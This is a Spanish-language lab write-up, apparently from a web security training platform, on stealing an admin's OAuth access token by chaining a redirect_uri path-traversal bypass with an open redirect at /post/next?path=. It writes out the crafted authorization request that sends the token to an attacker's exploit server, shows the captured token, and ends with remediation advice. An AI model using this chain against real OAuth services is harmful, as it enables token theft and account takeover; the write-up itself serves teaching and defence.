← Writeups

Stealing OAuth access tokens via an open redirect

Robo de access tokens OAuth mediante open redirect: bypass del whitelist de redirect_uri con path traversal hacia /post/next?path= y captura del token en el fragment de la URL en el exploit server.

Target Overview & Vulnerability Summary

El laboratorio permite el login con una cuenta de red social vía un servicio OAuth. Una validación defectuosa del redirect_uri por parte del servicio OAuth permite filtrar access tokens hacia páginas arbitrarias de la aplicación cliente. Combinando un bypass por path traversal del whitelist de redirect_uri con un open redirect presente en /post/next?path=, un atacante hace que el token del admin se entregue a su exploit server y lo usa para obtener la API key del admin.

Campo Valor
Severidad Alta (robo de access token → acceso a la API key del admin)
Endpoint vulnerable GET /auth (validación de redirect_uri), GET /post/next?path= (open redirect)
Root cause El servicio OAuth valida el redirect_uri por prefijo (permitiendo oauth-callback/../), y la app cliente tiene un open redirect accesible desde ese origen

Technical Breakdown & Exploitation Flow

El redirect_uri tiene protecciones mediante whitelists, pero mediante path traversal se puede manipular su comportamiento. El path traversal apunta a /posts, que tiene un open redirect en el parámetro path:

https://0aab0088047c711280a9715700cc00dd.web-security-academy.net/post/next?path=https://google.com/ (Open redirect)

El open redirect permite redirigir el navegador de la víctima a cualquier dominio, incluido el exploit server controlado por el atacante.

Cadena de requests

  1. Construir la URL de autorización OAuth cuyo redirect_uri usa oauth-callback/../ para saltar fuera del callback y caer en /post/next, abusando del open redirect hacia el exploit server:
GET /auth?client_id=vrrvimpe1fl5y63o6gg34&redirect_uri=https://0aab0088047c711280a9715700cc00dd.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a510038041371e280fe705401330031.exploit-server.net/log
  1. El redirect_uri resultante es normalizado por el servidor a https://0aab...web-security-academy.net/post/next?path=https://exploit-...net/log. El open redirect de /post/next redirige al navegador de la víctima:
GET /post/next?path=https%3A%2F%2Fexploit-0a510038041371e280fe705401330031.exploit-server.net%2Flog
  1. El navegador del admin (con sesión activa en el servicio OAuth) completa la autorización y es redirigido al exploit server, entregando el access token en el fragment de la URL (grant type implícito):
GET /log HTTP/1.1
Host: exploit-0a510038041371e280fe705401330031.exploit-server.net
https://exploit-0a510038041371e280fe705401330031.exploit-server.net/log#access_token=39S7Rgk9uiWn0Gt8RtMwx8RyI_RcyiVC9-w1Ti85VZN&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
  1. El token robado 39S7Rgk9uiWn0Gt8RtMwx8RyI_RcyiVC9-w1Ti85VZN se usa contra la API del proveedor (o la app cliente) para obtener la API key del admin y enviarla como solución del laboratorio. Nota del enunciado: la API key del admin no se puede obtener simplemente iniciando sesión en su cuenta de la app cliente.

Root Cause Analysis

Dos fallas se encadenan:

  1. Validación de redirect_uri por prefijo o normalización insegura. El servidor OAuth acepta https://victim/oauth-callback/../post/next?path=... porque la parte inicial coincide con el redirect_uri registrado, pero la normalización del path resuelve oauth-callback/../ hacia /post/next. El resultado es que el token se entrega a un endpoint distinto del callback registrado.
  2. Open redirect en un endpoint del mismo origen. /post/next?path= redirige a cualquier URL, y al estar en el mismo dominio que la app cliente, sirve como receptor del token cuando el redirect_uri es manipulado.

El grant implícito (response_type=token) agrava el caso: el access token viaja en el fragment de la URL, de modo que la redirección final (controlada por el atacante) es quien recibe el token en su request GET /log#access_token=....

Secure Remediation

  • Validación de redirect_uri por coincidencia exacta (exact match) contra el listado registrado del client_id, antes y después de la normalización; rechazar cualquier redirect_uri que no sea idéntico a un valor registrado:
if !registeredURIs[clientID][normalizedURI] {
    return errors.New("redirect_uri no registrado")
}
  • Eliminar open redirects en endpoints del mismo origen, especialmente los alcanzables vía path traversal desde un redirect_uri permitido.
  • Preferir el authorization code flow con PKCE sobre el implicit: el code se intercambia server-side por el token y el token nunca transita por el navegador, eliminando la exfiltración vía fragment.
  • Validar state y nonce para que una redirección forzada no complete el flujo sin el estado de la sesión.